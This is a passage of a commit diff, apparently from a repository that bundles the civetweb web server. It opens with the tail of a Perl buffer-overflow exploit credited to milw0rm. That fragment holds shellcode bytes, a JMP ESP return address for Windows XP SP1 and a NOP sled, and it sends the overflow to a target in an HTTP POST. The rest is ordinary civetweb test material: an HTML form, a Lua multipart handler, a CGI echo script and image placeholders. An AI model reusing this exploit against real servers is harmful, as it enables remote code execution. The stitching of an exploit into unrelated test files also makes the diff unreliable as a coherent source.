"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
print length($buff) . "\n";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
syswrite STDOUT,"[+]Connected.\n";
print $sock "POST /$buff HTTP/1.1\n";
print $sock "HOST:$host\n\n";
syswrite STDOUT,"[+]Done.\n";
close($sock);
# milw0rm.com [2006-10-05]

View File

@@ -0,0 +1,83 @@
<!DOCTYPE HTML>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Example page for HTML form handling</title>
</head>
<body>
<form action="/handle_form.lua" method="POST" enctype="multipart/form-data">
See <a href="http://www.w3schools.com/html/html_form_input_types.asp">HTML form tutorial</a>.<br />
<fieldset>
<legend>Text inputs:</legend>
A text: <input type="text" name="textin"><br />
A password: <input type="password" name="passwordin"><br />
</fieldset>
<fieldset>
<legend>Radio set 1:</legend>
<input type="radio" name="radio1" value="val1" checked>val1<br />
<input type="radio" name="radio1" value="val2">val2<br />
<input type="radio" name="radio1" value="val3">val3<br />
</fieldset>
<fieldset>
<legend>Radio set 2:</legend>
<input type="radio" name="radio2" value="val1" checked>val1<br />
<input type="radio" name="radio2" value="val2">val2<br />
<input type="radio" name="radio2" value="val3">val3<br />
</fieldset>
<fieldset>
<legend>Checkboxes:</legend>
<input type="checkbox" name="check1" value="val1" checked>val1<br />
<input type="checkbox" name="check2" value="val2">val2<br />
<input type="checkbox" name="check3" value="val3">val3<br />
</fieldset>
<fieldset>
<legend>HTML5 inputs:</legend>
A number: <input type="number" name="numberin" min="1" max="5"><br />
A date: <input type="date" name="datein"><br />
A color: <input type="color" name="colorin"><br />
A range: <input type="range" name="rangein" min="1" max="5"><br />
A month: <input type="month" name="monthin"><br />
A week: <input type="week" name="weekin"><br />
A time: <input type="time" name="timein"><br />
A datetime: <input type="datetime" name="datetimen"><br />
A datetime-local: <input type="datetime-local" name="datetimelocalin"><br />
An email: <input type="email" name="emailin"><br />
A search: <input type="search" name="searchin"><br />
A tel: <input type="tel" name="telin"><br />
An url: <input type="url" name="urlin"><br />
</fieldset>
<fieldset>
<legend>Files:</legend>
A file: <input type="file" name="filein"><br />
Multiple files: <input type="file" name="filesin" multiple><br>
</fieldset>
<fieldset>
<legend>Dropdown:</legend>
<select name="selectin">
<option value="opt1">opt1</option>
<option value="opt2">opt2</option>
<option value="opt3">opt3</option>
</select>
</fieldset>
<fieldset>
<legend>Text area:</legend>
<textarea name="message" rows="10" cols="30">Text area default text.</textarea>
</fieldset>
<input type="submit" value="Submit">
</form>
</body>
</html>

View File

@@ -0,0 +1,123 @@
-- Some basic checks
if mg.request_info.request_method ~= "POST" or mg.request_info.content_type:lower():sub(1,19) ~= 'multipart/form-data' then
mg.write("HTTP/1.0 400 OK\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/plain; charset=utf-8\r\n")
mg.write("Cache-Control: max-age=0, must-revalidate\r\n")
mg.write("\r\n")
mg.write("Bad request\r\n\r\n")
return
end
-- HTTP headers
mg.write("HTTP/1.0 200 OK\r\n")
mg.write("Connection: close\r\n")
mg.write("Content-Type: text/plain; charset=utf-8\r\n")
mg.write("Cache-Control: max-age=0, must-revalidate\r\n")
mg.write("\r\n")
-- Which form sent the data?
mg.write("Read POST data from " .. mg.request_info.http_headers.Referer .. ":\r\n\r\n")
-- Count some data fields
local fields = 0
local datasize = 0
-- Read the entire body data (POST content) into "bdata" variable.
-- Use a string builder pattern for performance reasons
stringtab = {}
bdata = ""
repeat
local add_data = mg.read()
if add_data then
stringtab[#stringtab+1] = add_data
end
until (add_data == nil);
bdata = table.concat(stringtab)
stringtab = nil
-- Get the boundary string.
bs = "--" .. ((mg.request_info.content_type):upper():match("BOUNDARY=(.*)"));
-- The POST data has to start with the boundary string.
-- Check this and remove the starting boundary.
if bdata:sub(1, #bs) ~= bs then
error "invalid format of POST data"
end
bdata = bdata:sub(#bs)
-- The boundary now starts with CR LF.
bs = "\r\n" .. bs
-- Now loop through all the parts
while #bdata>4 do
-- Find the header of new part.
part_header_end = bdata:find("\r\n\r\n", 1, true)
-- Parse the header.
local form_field_name, file_name
h = bdata:sub(1, part_header_end+2)
for key,val in h:gmatch("([^%:\r\n]*)%s*%:%s*([^\r\n]*)\r\n") do
if key:upper() == "CONTENT-DISPOSITION" then
form_field_name = val:match('name=%"([^%"]*)%"')
file_name = val:match('filename=%"([^%"]*)%"')
end
end
-- Remove the header from "bdata".
bdata = bdata:sub(part_header_end+4)
-- Find the end of the body by locating the boundary string.
local part_body_end = bdata:find(bs, 1, true)
-- Isolate the content, and drop it from "bdata".
local form_field_value = bdata:sub(1,part_body_end-1)
bdata = bdata:sub(part_body_end+#bs)
-- Now the data (file content or field value) is isolated: We know form_field_name and form_field_value.
-- Here the script should do something useful with the data. This example just sends it back to the client.
if form_field_name then
mg.write("Field name: " .. form_field_name .. "\r\n")
end
local len = #form_field_value
mg.write("Field data length: " .. len .. "\r\n")
if file_name then
mg.write("File name: " .. file_name .. "\r\n")
mg.write("File content:\r\n")
local maxlen
if len>320 then maxlen=320 else maxlen=len end
for l=0,maxlen,16 do
for m=1,16 do
local b = form_field_value:byte(l+m)
if (b) then
mg.write(string.format("%02x ", b))
else
mg.write(" ")
end
end
mg.write(" - " .. form_field_value:sub(l+1,l+16):gsub("[%c%z%s]", " ") .. "\r\n")
end
if maxlen<len then
mg.write(string.format("... (+ %u bytes)\r\n", len-maxlen))
end
else
-- not a file
if len<50 then
mg.write("Field value: " .. form_field_value .. "\r\n")
else
mg.write("Field value: " .. form_field_value:sub(1, 40) .. " .. (" .. len .. " bytes)\r\n")
end
end
mg.write("\r\n")
fields = fields + 1
datasize = datasize + len
end
mg.write("Got " .. fields .. " input fields with " .. datasize .. " bytes total\r\n");

6
3P/civetweb/test/hello.cgi Executable file
View File

@@ -0,0 +1,6 @@
#!/bin/sh
echo "Content-Type: text/plain"
echo
echo $QUERY_STRING

View File

@@ -0,0 +1 @@
simple text file

Binary file not shown.

View File

@@ -0,0 +1 @@
hello from a zipped text file

View File

@@ -0,0 +1,60 @@
htmlEscape = { "&#x263a;", "&#x263b;", "&#x2665;", "&#x2666;", "&#x2663;", "&#x2660;", "&#x2022;", -- ASCII 1-7 (symbols for control characters, see code page 437)
"&#x25d8;", "&#x25cb;", "&#x25d9;", "&#x2642;", "&#x2640;", "&#x266a;", "&#x266b;", "&#x263c;", -- ASCII 8-15
"&#x25ba;", "&#x25c4;", "&#x2195;", "&#x203c;", "&#x00b6;", "&#x00a7;", "&#x25ac;", "&#x21a8;", -- ASCII 16-23
"&#x2191;", "&#x2193;", "&#x21a8;", "&#x2190;", "&#x221f;", "&#x2192;", "&#x25b2;", "&#x25bc;", -- ASCII 24-31
" ", "!", "&quot;", "#", "$", "%", "&amp;", "'", -- ASCII 32-39
"(", ")", "*", "+", ",", "-", ".", "/", -- ASCII 40-47
"0", "1", "2", "3", "4", "5", "6", "7", -- ASCII 48-55
"8", "9", ":", ";", "&lt;", "=", "&gt;", "?", -- ASCII 56-63
"@", "A", "B", "C", "D", "E", "F", "G", -- ASCII 64-71
"H", "I", "J", "K", "L", "M", "N", "O", -- ASCII 72-79
"P", "Q", "R", "S", "T", "U", "V", "W", -- ASCII 80-87
"X", "Y", "Z", "[", "\\", "]", "^", "_", -- ASCII 88-95
"`", "a", "b", "c", "d", "e", "f", "g", -- ASCII 96-103
"h", "i", "j", "k", "l", "m", "n", "o", -- ASCII 104-111
"p", "q", "r", "s", "t", "u", "v", "w", -- ASCII 112-119
"x", "y", "z", "{", "|", "}", "~", "&#x2302;", -- ASCII 120-127
"&Ccedil;", "&uuml;", "&eacute;", "&acirc;", "&auml;", "&agrave;", "&aring;", "&ccedil;", -- 128-135 (dos code page 850)
"&ecirc;", "&euml;", "&egrave;", "&iuml;", "&icirc;", "&igrave;", "&Auml;", "&Aring;", -- 136-143
"&Eacute;", "&aelig;", "&AElig;", "&ocirc;", "&ouml;", "&ograve;", "&ucirc;", "&ugrave;", -- 144-151
"&yuml;", "&Ouml;", "&Uuml;", "&oslash;", "&#x00a3;", "&Oslash;", "&#x00d7;", "&#x0192;", -- 152-159
"&aacute;", "&iacute;", "&oacute;", "&uacute;", "&ntilde;", "&Ntilde;", "&#x00aa;", "&#x00ba;", -- 160-167
"&#x00bf;", "&#x00ae;", "&#x00ac;", "&#x00bd;", "&#x00bc;", "&#x00a1;", "&#x00ab;", "&#x00bb;", -- 168-175
"&#x2591;", "&#x2592;", "&#x2593;", "&#x2502;", "&#x2524;", "&Aacute;", "&Acirc;", "&Agrave;", -- 176-183
"&#x00a9;", "&#x2563;", "&#x2551;", "&#x2557;", "&#x255d;", "&cent;", "&#x00a5;", "&#x2510;", -- 184-191
"&#x2514;", "&#x2534;", "&#x252c;", "&#x251c;", "&#x2500;", "&#x253c;", "&atilde;", "&Atilde;", -- 192-199
"&#x255a;", "&#x2554;", "&#x2569;", "&#x2566;", "&#x2560;", "&#x2550;", "&#x256c;", "&#x00a4;", -- 200-207
"&eth;", "&ETH;", "&Ecirc;", "&Euml;", "&Egrave;", "&#x0131;", "&Iacute;", "&Icirc;", -- 208-215
"&Iuml;", "&#x2518;", "&#x250c;", "&#x2588;", "&#x2584;", "&#x00a6;", "&Igrave;", "&#x2580;", -- 216-223
"&Oacute;", "&szlig;", "&Ocirc;", "&Ograve;", "&otilde;", "&Otilde;", "&#x00b5;", "&thorn;", -- 224-231
"&THORN;", "&Uacute;", "&Ucirc;", "&Ugrave;", "&yacute;", "&Yacute;", "&#x00af;", "&#x00b4;", -- 232-239
"&equiv;", "&#x00b1;", "&#x2017;", "&#x00be;", "&#x00b6;", "&#x00a7;", "&#x00f7;", "&#x00b8;", -- 240-247
"&#x00b0;", "&#x00a8;", "&#x00b7;", "&#x00b9;", "&#x00b3;", "&#x00b2;", "&#x25a0;", "&#9633;", -- 248-255 (use empty box for 255)
};
htmlEscape[0] = "&middot;" -- in this table, we use a 8 bit character set, where every has a different graphical representation
-- the conversion table should work as a convertion function for strings as well
setmetatable(htmlEscape, {__call = function (tab,str) return string.gsub(str, ".", function (c) return tab[c:byte()] end) end})
function htmlEsc(txt)
s = txt:gsub("%&", "&amp;")
s = s:gsub("%<", "&lt;")
return s:gsub("%>", "&gt;")
end
function iso8859_1_to_utf8(txt)
local s = txt:gsub(".",
function (c)
local b = c:byte()
if b < 128 then
return c
elseif b < 192 then
return string.char(194, b)
else
return string.char(195, b-64)
end
end)
return s
end

Binary file not shown.

After

Width:  |  Height:  |  Size: 566 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 587 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 701 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 741 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 622 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 711 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 748 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 645 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 759 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 760 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 584 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 386 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 529 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 575 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 451 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 547 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 600 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 477 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 597 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 600 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 700 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 533 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 514 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 679 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 564 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 656 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 694 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 586 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 695 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 712 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 736 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 572 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 682 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 556 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 612 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 695 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 739 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 636 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 747 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 736 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 623 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 448 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 560 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 610 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 441 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 584 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 632 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 522 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 634 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 637 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 709 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 550 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 661 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 696 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 587 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 544 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 718 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 610 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 721 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 725 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 751 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 600 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 710 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 744 B

Some files were not shown because too many files have changed in this diff Show More